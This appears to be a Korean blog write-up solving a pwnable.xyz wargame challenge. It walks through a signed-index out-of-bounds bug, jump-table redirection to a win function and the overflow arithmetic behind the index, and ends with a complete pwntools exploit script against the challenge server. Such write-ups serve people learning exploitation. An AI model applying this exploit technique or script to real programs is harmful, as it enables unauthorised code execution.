1. 문제
1) mitigation 확인
PIE와 RELRO가 안걸려있따.
2) 문제 확인
초기에 이름을 입력받는다. 그리고 Race, Class를 입력하면, 게임이 시작된다. 입력한 이름과 레벨, 그리고 체력이 눈에 들어온다. 선택할수 있는 메뉴는 2가지로 보인다.
3) 코드 확인
우선 구조체는 이렇게 구성된다. 초기에 create_hero() 함수로 name, race, hp, level, 클래스가 세팅이 된다. quest는 여기서는 세팅이 안된다. quest 구조체는 퀘스트 이름, 설명, 선택? 이 3개의 멤버변수를 갖는다. 초기에 init_game() 함수에서 퀘스트가 세팅이 된다.
- create_char() 함수
hero *create_char() { hero *v0; // rbx hero *result; // rax hero = (hero *)malloc(0x40uLL); printf("Name: "); read(0, hero, 0x10uLL); printf("Race: "); read(0, hero->race, 0x10uLL); printf("Class: "); read(0, hero->class_, 0x19uLL); v0 = hero; v0->hp = rand() % 100; result = hero; hero->level = 1; return result; }
뭐 여기선 별거 없다.
- pve() 함수
int pve() { hero *game; // rbx __int64 v2; // [rsp+8h] [rbp-18h] if ( hero->level <= 5 ) { game = hero; game->quest = (struct quest *)((char *)&quests + 0xC4 * (rand() % 4)); } else { print_quests(); printf("Pick a quest: "); v2 = read_int(); if ( v2 <= 3 ) hero->quest = (struct quest *)((char *)&quests + 0xC4 * v2); } return play_quest((__int64)hero->quest->quest_name); }
pvp 함수는 게임을 진행하는 함수인 것같다. 거기서 체력이 깍이면서 레벨이 오른다. 이제 pve 함수를 살펴보자. 위 함수에서 퀘스트를 진행할 수 있는데, 현재 레벨이 5보다 같거나 작으면 rand() 값으로 선택된 퀘스트가 진행되고,
5보다 크면 원하는 퀘스트를 선택가능하다. 헌데, v2의 자료형은 signed 이므로 v2 < =3 조건을 음수를 통해 우회가 가능하다. 즉 OOB가 가능하다는 소리이다. 마지막으로 play_quest 함수를 살펴보자
- play_quest() 함수
int __fastcall play_quest(__int64 a1) { int select; // eax signed int v2; // ebx signed int v3; // ebx select = *(_DWORD *)(a1 + 0xC0); while ( 2 ) { switch ( select ) { case 0: printf("%s\n\t%s\n", hero->quest, hero->quest->descriptor); answer[0] = rand(); printf("Quest: %s\n", answer); answer[0] ^= read_int(); select = answer[0]; if ( !answer[0] ) { select = (int)hero; ++hero->level; } break; case 1: printf("%s\n\t%s\n", hero->quest, hero->quest->descriptor); answer[0] = rand(); printf("Quest: %s\n", answer); sprintf(s1, "%d", answer[0]); read(0, s2, 0x10uLL); select = strcmp(s1, s2); if ( !select ) { select = (int)hero; ++hero->level; } break; case 2: printf("%s\n\t%s\n", hero->quest, hero->quest->descriptor); answer[0] = rand(); printf("Quest: %s\n", answer); answer[0] += read_int(); select = answer[0]; if ( !answer[0] ) { select = (int)hero; ++hero->level; } break; case 3: printf("%s\n\t%s\n", hero->quest, hero->quest->descriptor); answer[0] = rand(); printf("Quest: %s\n", answer); v2 = answer[0]; v3 = v2 >> read_int(); select = v3 & 1; if ( !(v3 & 1) ) { select = (int)hero; ++hero->level; } break; case 4: case 5: return select; default: continue; } break; } return select; }
현재 OOB가 가능하다는 것은 알았다. 그럼 내가 임의의 영역에 데이터를 쓰고, 그 영역을 OOB를 통해 접근하면 될것이다. 위 코드를 보면 case 1 : 에 s2에 직접 입력이 가능하다. 이부분을 이용해야 한다.
2. 접근방법
Dump of assembler code for function play_quest:
0x0000000000401128 <+0>: push rbp
0x0000000000401129 <+1>: mov rbp,rsp
0x000000000040112c <+4>: push rbx
0x000000000040112d <+5>: sub rsp,0x18
0x0000000000401131 <+9>: mov QWORD PTR [rbp-0x18],rdi
0x0000000000401135 <+13>: mov rax,QWORD PTR [rbp-0x18]
0x0000000000401139 <+17>: mov eax,DWORD PTR [rax+0xc0]
0x000000000040113f <+23>: cmp eax,0x5
0x0000000000401142 <+26>: ja 0x401148 <play_quest+32>
0x0000000000401144 <+28>: nop DWORD PTR [rax+0x0]
0x0000000000401148 <+32>: mov eax,eax
0x000000000040114a <+34>: lea rdx,[rax*4+0x0]
0x0000000000401152 <+42>: lea rax,[rip+0x51b] # 0x401674
0x0000000000401159 <+49>: mov eax,DWORD PTR [rdx+rax*1]
0x000000000040115c <+52>: movsxd rdx,eax
0x000000000040115f <+55>: lea rax,[rip+0x50e] # 0x401674
0x0000000000401166 <+62>: add rax,rdx
0x0000000000401169 <+65>: jmp rax
위 어셈은 play_quest의 시작 부분이다. 맨 아래 jmp rax가 뉜에 띈다. 최종적으로 rax의 값을 win함수의 주소로 변경시키면 된다. 그러기 위해서 맞춰줘야 하는 부분은 디버깅을 통해 맞춰주면 된다.
- win 주소 : 0x400a8c
- s2 주소 : 0x6025e8
우선, pvp() 함수를 이용하여 레벨을 6이 되게 해준다. 그런다음 pve 함수를 실행시켜 play_quest 함수에서 1번 quest를 선택하여 s2에 어떠한 값을 입력한다. 그다음, 다시 pve 함수를 실행시켜,
hero->quest = (struct quest *)((char *)&quests + 0xC4 * v2);
위 로직에서 hero→quest에 0x602520
이 들어가게 세팅을 해준다. 왜 s2의 주소를 그대로 안주고 0xc0 만큼 뺀 값을 넣냐면, play_quest에서 인자로 들어온, hero→quest의 select를 참조하기 때문이다. 이 select는 quest에서 +0xc0 만큼 떨여저 있다.
따라서 s2의 주소 - 0xc0을 hero→quest에 넣어야지 play_quest() 함수에서 s2의 주소가 이용될 것이다.
요 부분이 방금 말한 부분!!
그다음, 이제 s2에 총 0x10 바이트를 입력할수 있는데, 여기에는 디버깅을 통해 확인하면 쉽게 알 수 있다.
1. add 0x401674 + rdx ( 0x6025e0에 담긴값*4+0x401674 )
=> 최종적으로 위 두값을 더한게 win 주소가 되야함
2. 0x401674 + X = win 주소 (0x400A8C)
=> X = 0x400A8C - 0x401674
=> 즉, rdx에는 위 X 값이 들어가야함. 그렇다면, 어떤 값이 X가 되는지 확인해야함
3. [ 0x6025e0에 담긴값*4+0x401674 ] = X ( 0x401128 - 0x401674 )
=> s2에 담긴값에서 4를 곱한 값과 0x401674를 더한 주소에 담긴 값이 X가 되야함
=> 즉, win함수 + 4 위치에 X를 넣고, [ 여기 주소를 win +4] 주소가 되게끔 계산해야함
4. 4X + 0x401674 = 0x6025e4
=> 따라서 0x6025e0에 담긴값 * 4 가 win+4가 되게 해야함
5. p32( (0x6025e4 - 0x401674)/4 ) + p32( 0x401128 - 0x401674 )
=> 요렇게 s2에 넣으면 됨! 참고로 뒤에 빼기 연산을 하면 8바이트가 나오는데,
=> 해당 어셈 로직에서 4바이트 단위로 짜르기 때문에, 하위 4바이트로 짜르면 됨
3. 풀이
추가적으로 제일 어려웠던 건
hero->quest = (struct quest *)((char *)&quests + 0xC4 * v2);
요 로직에서 hero→ quest에 0x602520을 넣는 것이였다. 간단하게 정리를 하면
' 0x6022A0 + 0xC4 *
X
= 0x602520 '
이 식에서 X 값을 구해야 하는데, 딱 떨어지는 값이 없어서 너무 시간을 날렸다. 그래서 결국 롸업 + 지인 찬스 를 사용해 겨우 이해를 했다.
위 식은 ' 0xC4 *
X -
0x280 = 0 '
이렇게 표현이 가능하다. 우항의 0은 0x10000000000000000 로도 표현이 가능하다. 저 값을 찍어보면 오버플로우로 인해 0이 된다. 따라서 다음 식을 이렇게 변형할 수 있다.
0xC4 * X - 0x280 = ( 0x10000000000000000 ) * i
i 인덱스가 증가해도 우항을 c언어에서는 항상 0이다. 이를 이용해서 오버플로우를 통해서 x값을 찾는것이다. 다시 이렇게 정리가 가능하다
0xC4 * X = 0x280 + ( 0x10000000000000000 ) * i
-> ( 0x280 + ( 0x10000000000000000 ) * i ) % 0xC4 가 0인 걸 찾으면 됨
위 식을 파이썬에서 반복문을 통해 i를 증가시키면서 0xc4로 나눠떨어지는 수를 찾고, 그 값을 PVE에서 입력을 해주면 된다. 단 저렇게 반복문을 돌면서 X값을 찾으면, 여러개 값이 나오는데,
if ( v2 <= 3 )
hero->quest = (struct quest *)((char *)&quests + 0xC4 * v2);
위 조건을 만족시키기 위해서, signed int64 자료형의 최대값 표현범위를 넘어선 값을 입력해야지 음수로 체킹되면서 원하는 원하는 동작을 수행시킬수 있다.
최종 익스코드는 다음과 같다
from pwn import *
p=remote("svc.pwnable.xyz",30042)
#p=process("./challenge")
context(log_level="DEBUG")
#gdb.attach(p,'code\nb *0x425+$code\n')
def pvp():
p.recvuntil("> ",timeout=0.5)
p.sendline("1")
#p.sendlineafter("Quest: ",'1')
def pve(OOB,select,quest):
p.sendlineafter("> ","2")
p.sendlineafter("Pick a quest: ",str(OOB))
p.sendlineafter("Quest: ",str(quest))
p.sendlineafter("Name: ","AAAA")
p.sendlineafter("Race: ","BBBB")
p.sendlineafter("Class: ","CCCC")
while True:
tmp2=p.recvuntil('Level: 6',timeout=1)[-1:]
#log.info(tmp2)
try:
if int(tmp2) >= 6:
break;
else:
pvp()
except:
pvp()
continue
i=0
while True:
if ( 0x280 + (1<<64) * i ) % 0xc4 == 0:
#log.info('----------------------'+str(i))
print(str(i))
#pause()
oob=((1<<64) * i + 0x280 )//0xc4
log.info(oob)
pause()
i=i+1
if oob<=0x7fffffffffffffff:
continue
else:
break
else:
i=i+1
pve(1,1,p32(0x803DC)+p32((0x400a8c - 0x401674)&0xffffffff))
pve(oob,1,"aaaa")
p.interactive()
4. 몰랐던 개념
- X 해 찾기..
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] BabyVM (0) | 2020.06.03 |
---|---|
[pwnable.xyz] Knum (0) | 2020.05.31 |
[pwnable.xyz] note v3 (0) | 2020.05.25 |
[pwnable.xyz] world (0) | 2020.05.22 |
[pwnable.xyz] door (0) | 2020.05.20 |